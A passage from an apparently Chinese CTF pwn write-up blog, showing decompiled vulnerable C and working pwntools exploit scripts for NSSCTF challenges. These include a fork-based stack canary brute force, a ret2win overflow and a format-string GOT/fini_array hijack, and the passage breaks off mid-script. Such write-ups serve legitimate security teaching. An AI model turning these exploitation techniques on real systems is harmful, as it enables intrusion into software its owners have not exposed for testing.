class="string">&#x27;\x00&#x27;</span>))</span></span><br><span class="line"><span class="meta"># def get_sb() : return libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>], libc_base + next(libc.search(b<span class="string">&#x27;/bin/sh\x00&#x27;</span>))</span></span><br><span class="line">def <span class="title function_">csu</span><span class="params">(rdi, rsi, rdx, rip, gadget)</span> : <span class="keyword">return</span> <span class="title function_">p64</span><span class="params">(gadget)</span> + <span class="title function_">p64</span><span class="params">(<span class="number">0</span>)</span> + <span class="title function_">p64</span><span class="params">(<span class="number">1</span>)</span> + <span class="title function_">p64</span><span class="params">(rip)</span> + <span class="title function_">p64</span><span class="params">(rdi)</span> + <span class="title function_">p64</span><span class="params">(rsi)</span> + <span class="title function_">p64</span><span class="params">(rdx)</span> + <span class="title function_">p64</span><span class="params">(gadget - <span class="number">0x1a</span>)</span></span><br><span class="line">def <span class="title function_">get_32_addr</span><span class="params">()</span>:<span class="keyword">return</span> <span class="title function_">u32</span><span class="params">(p.recvuntil(b<span class="string">&#x27;\xf7&#x27;</span>)[<span class="number">-4</span>:].ljust(<span class="number">4</span>, b<span class="string">&#x27;\x00&#x27;</span>))</span></span><br><span class="line"><span class="title function_">context</span><span class="params">(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span></span><br><span class="line"></span><br><span class="line">def <span class="title function_">pwn</span><span class="params">()</span>:</span><br><span class="line">    <span class="title function_">sl</span><span class="params">(<span class="string">&quot;A&quot;</span>*<span class="number">0x28</span>)</span></span><br><span class="line">    <span class="title function_">rl</span><span class="params">(b<span class="string">&quot;A&quot;</span>*<span class="number">0x28</span> + b<span class="string">&#x27;\x0a&#x27;</span>)</span></span><br><span class="line">    canary = u64(p.recv(<span class="number">7</span>).rjust(<span class="number">8</span>,b<span class="number">&#x27;</span>\x00<span class="number">&#x27;</span>))</span><br><span class="line">    success(<span class="string">&quot;canary: &#123;:#x&#125;&quot;</span>.format(canary))</span><br><span class="line">    s(p32(<span class="number">0x2c3</span>))</span><br><span class="line">    s(p64(ret)*<span class="number">10</span> + p64(<span class="number">0x0000000004007C7</span>) + p64(canary) )</span><br><span class="line">    <span class="meta"># debug()</span></span><br><span class="line">    r()</span><br><span class="line">    <span class="meta"># sl(<span class="string">&quot;id&quot;</span>)</span></span><br><span class="line">    pr()</span><br><span class="line">    inter()</span><br><span class="line">    <span class="meta"># <span class="keyword">if</span> b<span class="string">&quot;uid&quot;</span> in r():</span></span><br><span class="line">    <span class="meta">#     inter()</span></span><br><span class="line">    <span class="meta"># <span class="keyword">else</span>:</span></span><br><span class="line">    <span class="meta">#     p.close()</span></span><br><span class="line"><span class="keyword">while</span> True:</span><br><span class="line">    try:</span><br><span class="line">        <span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">            context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">        context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line">        <span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">            ip = <span class="string">&quot;node4.anna.nssctf.cn&quot;</span></span><br><span class="line">            port = <span class="number">28036</span></span><br><span class="line">            p = remote(ip, port)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">            info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.format(p.pid))</span><br><span class="line">        elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">        <span class="meta">#libc = ELF(<span class="string">&#x27;./libc-2.23-x64.so&#x27;</span>)</span></span><br><span class="line">        <span class="meta"># clibc = cdll.LoadLibrary(<span class="string">&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;</span>)</span></span><br><span class="line">        rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">        ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">        pwn()</span><br><span class="line"></span><br><span class="line">    except:</span><br><span class="line">        p.close()</span><br></pre></td></tr></table></figure><h3 id="CISCN-2023-初赛-funcanary"><a href="#CISCN-2023-初赛-funcanary" class="headerlink" title="[CISCN 2023 初赛]funcanary"></a>[CISCN 2023 初赛]funcanary</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># pwn @ DESKTOP-D3OTKCS in ~/pwn/nssctf/11.13/CISCN_2023_初赛_funcanary [10:46:01] C:1</span></span><br><span class="line">$ python3 exp.py </span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 35742</span><br><span class="line">[*] pid: 35742</span><br><span class="line">[*] <span class="string">&#x27;/home/pwn/pwn/nssctf/11.13/CISCN_2023_初赛_funcanary/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    SHSTK:      Enabled</span><br><span class="line">    IBT:        Enabled</span><br><span class="line">[*] Loaded 5 cached gadgets <span class="keyword">for</span> <span class="string">&#x27;./pwn&#x27;</span></span><br><span class="line">[*] ret addr : 0x101a</span><br><span class="line">[*] Stopped process <span class="string">&#x27;./pwn&#x27;</span> (pid 35742)</span><br></pre></td></tr></table></figure><p>保护全开</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __fastcall __noreturn <span class="title function_">main</span><span class="params">(__int64 a1, <span class="type">char</span> **a2, <span class="type">char</span> **a3)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">__pid_t</span> v3; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  sub_1243(a1, a2, a3);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v3 = fork();</span><br><span class="line">    <span class="keyword">if</span> ( v3 &lt; <span class="number">0</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">if</span> ( v3 )</span><br><span class="line">    &#123;</span><br><span class="line">      wait(<span class="number">0LL</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;welcome&quot;</span>);</span><br><span class="line">      sub_128A();</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;have fun&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;fork error&quot;</span>);</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">sub_128A</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">104</span>]; <span class="comment">// [rsp+0h] [rbp-70h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v2; <span class="comment">// [rsp+68h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x80</span>uLL);</span><br><span class="line">  <span class="keyword">return</span> v2 - __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>有溢出有canary有pie，存在fork函数，我了个爆破啊</p><p>对fork而言，作用相当于自我复制，每一次复制出来的程序，内存布局都是一样的，当然canary值也一样。那我们就可以逐位爆破，如果程序GG了就说明这一位不对，如果程序正常就可以接着跑下一位，直到跑出正确的canary。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">26690</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line"><span class="comment"># rdi = rop.find_gadget([&#x27;pop rdi&#x27;,&#x27;ret&#x27;])[0]</span></span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line"><span class="comment"># info(&quot;rdi addr : &#123;:#x&#125;&quot;.format(rdi))</span></span><br><span class="line">canary = <span class="string">b&#x27;\x00&#x27;</span></span><br><span class="line">sa(<span class="string">&#x27;welcome\n&#x27;</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x68</span> + canary + p8(<span class="number">1</span>))</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line">sa(<span class="string">&#x27;welcome\n&#x27;</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x68</span> + canary + p8(j))</span><br><span class="line"><span class="keyword">if</span> p.recv(<span class="number">2</span>) == <span class="string">b&#x27;ha&#x27;</span>:</span><br><span class="line">canary += p8(j)</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">catflag = <span class="number">0x0231</span></span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line">        payload = <span class="string">b&#x27;A&#x27;</span> * <span class="number">0x68</span> + canary + <span class="string">b&#x27;A&#x27;</span> * <span class="number">8</span> + p16(catflag)</span><br><span class="line">        p.send(payload)</span><br><span class="line">        <span class="comment">#pause()</span></span><br><span class="line">        a = p.recvuntil(<span class="string">&quot;welcome\n&quot;</span>,timeout=<span class="number">1</span>)</span><br><span class="line">        <span class="built_in">print</span>(a)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">b&quot;welcome&quot;</span> <span class="keyword">in</span> a:</span><br><span class="line">                catflag += <span class="number">0x1000</span></span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">        <span class="keyword">if</span> <span class="string">b&quot;NSSCTF&quot;</span> <span class="keyword">in</span> a:</span><br><span class="line">            <span class="built_in">print</span>(a)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>外部连接很慢，爆破了十几分钟</p><h3 id="SWPUCTF-2023-秋季新生赛-签到"><a href="#SWPUCTF-2023-秋季新生赛-签到" class="headerlink" title="[SWPUCTF 2023 秋季新生赛]签到"></a>[SWPUCTF 2023 秋季新生赛]签到</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">48</span>]; <span class="comment">// [rsp+0h] [rbp-30h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;input:&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0xC8</span>uLL);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node4.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">28770</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line"></span><br><span class="line">offset = <span class="number">0x30</span> + <span class="number">8</span></span><br><span class="line"></span><br><span class="line">payload = flat([cyclic(offset),<span class="number">0x0000000000401237</span>])</span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="CISCN-2019西南-PWN1"><a href="#CISCN-2019西南-PWN1" class="headerlink" title="[CISCN 2019西南]PWN1"></a>[CISCN 2019西南]PWN1</h3><p>劫持fini_array</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> format[<span class="number">68</span>]; <span class="comment">// [esp+0h] [ebp-48h] BYREF</span></span><br><span class="line"></span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to my ctf! What&#x27;s your name?&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%64s&quot;</span>, format);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hello &quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(format);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>​<code>n1 = systemplt &amp; 0xFFFF</code>​：首先，提取 <code>system</code>​ 的低 16 位，即 <code>systemplt</code>​ 的低 16 位。</li><li>​<code>n2 = (systemplt &gt;&gt; 16) &amp; 0xFFFF</code>​：接下来，提取 <code>system</code>​ 的高 16 位。</li><li>​<code>n3 = main &amp; 0xFFFF</code>​：计算程序 <code>main</code>​ 地址的低 16 位（可能作为跳转的目标）。</li></ul><p>​<code>w_offset = 0xe</code>​：<code>w_offset</code>​ 是栈上 <code>%n</code>​ 格式化参数的索引，意味着我们会操作第 14 个参数。</p><ul><li><p>​<code>pay = f&#39;%&#123;n1&#125;c%&#123;w_offset&#125;$hn&#39;</code>​：这将使得 <code>printf</code>​ 输出 <code>n1</code>​ 个字符，并使用 <code>%n</code>​ 将已输出的字符数写入 <code>w_offset</code>​ 指向的地址。即，修改 <code>system</code>​ 地址的低 16 位。</p></li><li><p>​<code>pay += f&#39;%&#123;0x10000 + n2 - n1&#125;c%&#123;w_offset+1&#125;$hn&#39;</code>​：这个格式化字符串先输出差值（<code>n2 - n1</code>​），然后通过 <code>%n</code>​ 写入 <code>system</code>​ 地址的高 16 位。</p></li><li><p>​<code>pay += f&#39;%&#123;0x10000 + n3 - n2&#125;c%&#123;w_offset+2&#125;$hn&#39;</code>​：最后，修改 <code>main</code>​ 地址的低 16 位，以进一步控制程序流。</p></li><li><p>​<code>pay = pay.encode()</code>​：将格式化字符串转换为字节。</p></li><li><p>​<code>pay += (4 - (len(pay) % 4)) * b&#39;A&#39;</code>​：为了保证数据对齐（4 字节对齐），攻击者可能需要在格式化字符串后填充 <code>A</code>​ 字符。</p></li><li><p>​<code>pay += p32(printgot)</code>​：写入的第一个地址，即 <code>printgot</code>​（<code>printf</code>​ GOT 的位置）。</p></li><li><p>​<code>pay += p32(printgot+2)</code>​：写入的第二个地址，<code>printgot+2</code>​，因为 GOT 是 4 字节对齐的，所以第 2 个 <code>n</code>​ 写入的是该地址的第二部分。</p></li><li><p>​<code>pay += p32(gol)</code>​：最终控制流的劫持fini_array目标地址 <code>gol</code>​，它会触发执行 <code>main</code>​。</p></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span 